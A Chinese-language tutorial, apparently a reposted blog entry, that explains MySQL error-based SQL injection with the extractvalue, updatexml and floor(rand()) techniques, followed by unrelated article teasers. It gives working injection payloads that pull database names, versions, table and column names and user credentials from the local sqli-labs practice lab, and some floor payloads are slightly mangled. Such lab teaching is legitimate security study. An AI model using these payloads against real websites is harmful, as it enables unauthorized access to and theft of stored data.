报错注入常用的三种注入方式(flool ,extractvalue、updatexml)

news2024/11/18 17:31:33

报错注入常用的三种注入方式(flool ,extractvalue、updatexml)

在学习sql注入的过程中经常会遇到一些没有显示位的sql'注入靶场,所以一般的注入的方式就无法再使用,在这种情况下我们可以使用函数报错注入的方式,通过报错查询和显示我们想要得到的数据,下面是我报错注入的三种基本方式;

(一)、extractvalue报错注入

      extractvalue函数的基本格式为:ExtractValue(xml_frag, xpath_expr)

       extractvalue函数接收两个字符串参数,一个属xml标记片段和xpath表达式xpath expr(xml是一种可扩展标记语言,使用标签来操作,html就是一种常见的标记型语言,xml主要用来存储数据,体现在作配置文件,或者充当小型数据库,在网络中传输数据,类似与HTML语言中的div标签;)(xpath expr 也称为定位器,也就是路径查询,因为咱们主要是为了学习sql注入,所有函数的原理不用太纠结,只要大概了解一下就行了)其实简单点来说,第一个参数就是为了上传一个xml文档,第二个参数就是用xpath路径法查找路径,而extractvalue报错注入 就是通过再函数中写如不符合语法格式的xpath达到报错的目的,并且通过拼接sql注入语句从而通过报错查询并显示我们想要查询的内容;

       例如:select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘~’,(select database())))) 

    这里通过concat拼接sql语句并且由于我们第二个·参数的位置写入的xpath是不符合语法格式的所以会产生报错,从而达到我们想要查询的内容

select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘~’,(sql语句))))在sql语句处插入我们想要查询的内容的sql语句;

         查询数据库:select username from security.user where id=1 and (extractvalue('anything',concat('~',(select database()))))  --+

查找版本:?id=' and (extractvalue('anything',concat('~',(select version()))))  --+

查表:id=' and (extractvalue('anything',concat('~',(select group_concat( table_name) from information_schema.tables where table_schema='security'))))  --+ (这里查询的是库中所有的表,若是想要查询单个表可以加限制条件)

查字段内容:?id=' and (extractvalue('anything',concat('~',(select group_concat(id,username,password) from security.users))))  --+

(二)、updatexml报错注入

      updatexml报错注入和extractvalue报错注入的原理基本差不多,都是利用插入不符合函数格式的语句并拼接查询语句从而通过函数报错达到我们查询内容的目的;

       基本格式:UpdateXML(xml_target, xpath_expr, new_xml)

        xml - taeget:是我们需要操作的xml片段;

         xpath -expr:和上面的一样,是需要更新的路径;

          xml -xml:是更新后的的xml字段;

       (此函数用来更新选定XML片段的内容,将XML标记的给定片段的单个部分替换为 xml_target 新的XML片段 new_xml ,然后返回更改的XML。xml_target替换的部分 与xpath_expr 用户提供的XPath表达式匹配)(参考别人的接受);

     其最终还是因为路径产生报错从而达到报错的目的;

  格式:select username from security.user where id=1 and (updatexml(‘anything’,concat(‘~’,(sql语句)),’anything’))

(和extractvalue函数一样在sql语句处插入我们想要查询内容的sql注入语句)

  查询数据库:?id=' and (updatexml('anything',concat('~',(select database())),'anything'))  --+

查询数据库版本:?id=' and (updatexml('anything',concat('~',(select version())),'anything'))  --+

查表:?id=' and (updatexml('anything',concat('~',(select group_concat( table_name) from information_schema.tables where table_schema='security' )),'anything'))  --+ (查询所有表,若想查询单一表可以使用limit函数)

查字段内容:?id=' and (updatexml('anything',concat('~',(select group_concat(id,username,password) from security.users)),'anything'))  --+

(三)、floor函数报错

基本格式:and (select 1 from (select count(),concat((payload),floor (rand(0)2))x from information_schema.tables group by x)a)

payload处是我们要插入sql注入语句的位置

 基础知识:

floor(): 去除小数部分

rand(): 产生随机数

rand(x): 每个x对应一个固定的值,但是如果连续执行多次值会变化,不过也是可预测的

count:COUNT(column_name) 函数返回指定列的值的数目(NULL 不计入);COUNT(*) 函数返回表中的记录数:

 floor报错就是通过使floor ,count ,group by 三个函数相遇发生错误从而达到报错注入的目的;

   floor 产生报错的语句:select count(*) ,floor(rand(0)*2)x from security.users group by x(自定义数据库的一张表);在这里x就是给floor(rand(0)*2)定义了一个别名;也就是说floor(rand(0)*2)就是x,这里是为了使floor(rand(0)*2)与group by 相遇;

  而group by x也就是group by floor(rand(0)*2)  ,首先floor(rand(0)*2)是为了随机产生0,1;虽然生成的数是随机的,但当产生的次数多了也是有规律的,基本就是0110111;所以我们可以看作每次产生的随机数都是固定的;

  而floor的原理大概就是count(*)和group by的共同工作,首先系统会先建立一张虚拟表;group by会读取rand产生的随机数,将其插入的到虚拟表中并记录下次数当再次循环出现一个前面已经出现的随机数系统会再次插入可虚拟表的已经有了这就会出现问题,系统会抛弃多余的,从而出现报错的异常,从而达到报错注入的目的;(其具体原理可以参考大神的讲解:SQL注入:floor()报错注入_报错注入floor函数各个含义-CSDN博客)但是我们只要大概明白就行了,重要的是sql注入知识的应用;

查询库,user,版本:?id=%27 union select 1,2,3 from (select count(*),concat((select concat(version(),database(),user()) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+

  查询表:?id=1'union select null,count(*),concat((select table_name from information_schema.columns where table_schema= 'security' limit 0,1),floor(rand()*2))as a from information_schema.tables group by a%23

查字段:http://127.0.0.1/sqli-labs-master/Less-5/?id=1'union select null,count(*),concat((select column_name from information_schema.columns where table_name= 'users' limit 0,1),floor(rand()*2))as a from information_schema.tables group by a%23

查数据:http://127.0.0.1/sqli-labs-master/Less-5/?id=1'union select null,count(*),concat((select username from users  limit 0,1),floor(rand()*2))as a from information_schema.tables group by a%23

           以上就是报错注入的三种基本方式,这种报错注入其实都是利用构造错误函数并拼接我们想要查询内容的sql语句,从而通过数据库返回我们想要的数据; 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1716189.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【教学类-59-】专注力视觉训练01(圆点百数图)

背景需求: 视觉训练的神奇效果,让你的宝贝成为焦点 - 小红书魔法视觉追踪-视觉训练—— 🔍视觉训练🔍 🔹想要提高宝宝的专注力,视觉训练是个绝佳方法! 🔹让宝宝仔细观察数字的路线&a…

PageHelper多数据源无法自动切换数据源问题解决

在使用PageHelper进行分页处理的过程中,通过配置autoRuntimeDialect: true发现,在执行MySQL分页处理后,继续执行SqlServer的分页,使用的仍然是MySQL的语法,PageHelper并没有进行自动切换数据源处理。 在查看源码的时候…

西湖大学提出AIGC检测框架,精准识别AI撰写的文稿

近年来人工智能技术突飞猛进,尤其是大语言模型的出现,让AI具备了创作文章、小说、剧本等内容的能力。 AI代写,已经逃不过老师、编辑、审稿人的火眼金睛了。但让AI仅改写部分片段,就安全了么? 针对检测AI改写的片段&a…

基于FMEA保证汽车电控系统的可靠性

随着汽车技术的飞速发展,电控系统已成为现代汽车的“大脑”,掌控着车辆的方方面面。然而,这一复杂的系统也面临着诸多潜在失效风险,如何确保汽车电控系统的可靠性,成为汽车制造业亟待解决的问题。幸运的是,…

设计模式 18 迭代器模式 Iterator Pattern

设计模式 18 迭代器模式 Iterator Pattern 1.定义 迭代器模式 (Iterator Pattern) 是一种行为型设计模式,它提供了一种访问集合元素的标准方法,而无需暴露集合的内部表示。 提供一种方法顺序访问一个聚合对象中的各个元素,而又不需要暴露该…

DiffBIR论文阅读笔记

这篇是董超老师通讯作者的一篇盲图像修复的论文,目前好像没看到发表在哪个会议期刊,应该是还在投,这个是arxiv版本,代码倒是开源了。本文所指的BIR并不是一个single模型对任何未知图像degradation都能处理,而是用同一个…

如何解压忘记了密码的加密zip压缩包?这两个方法收藏好!

加密是一种保护信息不被未经授权访问的重要手段。ZIP压缩包作为一种常见的文件压缩格式,zip文件加密是很多人都回去做的一件事情,那么zip加密文件如何解密?有几种方法可以解密呢?今天介绍几种方法给大家。 一、尝试常用密码 我们…

2.1色彩空间

色彩发送器 色彩认知 光源是出生点,光源发射出光线,光线通过直射反射折射等路径最终进入人眼。 但人眼接收到光线后,人眼的细胞产生了一系列化学反应。 由此把产生的信号传入大脑,最终大脑对颜色产生了认知感知。 光的要素 光…

如何让Google快速收录?

要让Google快速收录你的网站,可以考虑使用GSI服务,这是一种专门设计来加速网站被Google搜索引擎收录的服务,下面详细解释GSI服务的基本原理和具体好处: GSI服务通过一种名为GPC爬虫池的系统实现,这个系统是基于对Goog…

多条文本转二维码怎么做?一键批量建码的使用技巧

怎么快速的制作多条文本信息的二维码?随着二维码的广泛使用,现在很多内容都可以通过生成二维码扫码的方式来获取信息,其他文本二维码就是比较常用的一种类型。那么当需要将多条不同的文本内容每条单独生成二维码时,有什么方法可以…

python列表元素操作与函数应用详解

新书上架~👇全国包邮奥~ python实用小工具开发教程http://pythontoolsteach.com/3 欢迎关注我👆,收藏下次不迷路┗|`O′|┛ 嗷~~ 目录 一、列表元素加一的实现方法 示例代码 二、列表生成式的简化操作 三、列表反转函数revers…

香橙派Orange AI Pro 初体验

什么是香橙派 ? 香橙派(Orange Pi)是深圳市迅龙软件有限公司旗下的开源产品品牌。它专注于为全球个人和企业提供高性价比的开源硬件、开源软件以及OEM/ODM服务。香橙派已经迭代了30多款产品,形成了涵盖开源硬件、开源软件、开源芯…

22net冒泡排序与插入排序

冒泡排序 观看视频 【python练习题】每日一练_第八天_冒泡排序_哔哩哔哩_bilibilihttps://www.bilibili.com/video/BV1QT4y197pa/?spm_id_from333.337.search-card.all.click&vd_source498ae9e9c7a8a7d16da872c9d74cdc38PS:视频中用的了numpy库,大…

电瓶车进电梯识别报警摄像机

随着电动车的普及,越来越多的人选择电动车作为出行工具。在诸多场景中,电梯作为一种常见的交通工具,也受到了电动车用户的青睐。然而,电动车进入电梯时存在一些安全隐患,为了提高电动车进电梯的安全性,可以…

国内加密软件排行榜,每一款加密软件都是精品

在数字化快速发展的今天,数据安全和隐私保护已成为企业和个人关注的焦点。加密软件作为保护数据安全的重要手段,其重要性日益凸显。以下是根据权威机构的评测和用户反馈,整理的国内加密软件排行榜及其特点概述。 1、加密软件安企神免费试用7天…

centos8系统如何安装宝塔面板

我这边购买了一台Hostease的VPS云主机产品,想要安装宝塔面板,但是我这边是安装时遇到错误,如图: 这边尝试检查了似乎时yum 有问题, 无法通过yum 安装。因此联系了Hostease技术人员帮助,他们告知自2022年1月…

Java基于saas模式云MES制造执行系统源码Spring Boot + Hibernate Validation什么是MES系统?

Java基于saas模式云MES制造执行系统源码Spring Boot Hibernate Validation 什么是MES系统? MES制造执行系统,通过互联网技术实现从订单下达到产品完成的整个生产过程进行优化管理。能有效地对生产现场的流程进行智能控制,防错防呆防漏&…

【NumPy】全面解析add函数:高效数组加法操作

🧑 博主简介:阿里巴巴嵌入式技术专家,深耕嵌入式人工智能领域,具备多年的嵌入式硬件产品研发管理经验。 📒 博客介绍:分享嵌入式开发领域的相关知识、经验、思考和感悟,欢迎关注。提供嵌入式方向…

字节跳动豆包大模型:领跑AI市场,打破价格壁垒

在人工智能飞速发展的今天,自然语言处理模型已成为科技进步的重要推动力。它们不仅在语言翻译、智能对话、情感分析等多个领域发挥着越来越重要的作用,更是引领着AI技术向前发展的潮流。然而,国产大模型市场参差不齐,价格差异巨大…

亚马逊云服务器会不会限制服务器使用?

亚马逊云服务器(Amazon Web Services,AWS)是全球领先的云计算服务提供商之一,其强大的基础设施和灵活的服务模式吸引了无数企业和个人用户。然而,许多人对于亚马逊云服务器是否会对服务器使用进行限制存在疑虑。我们九…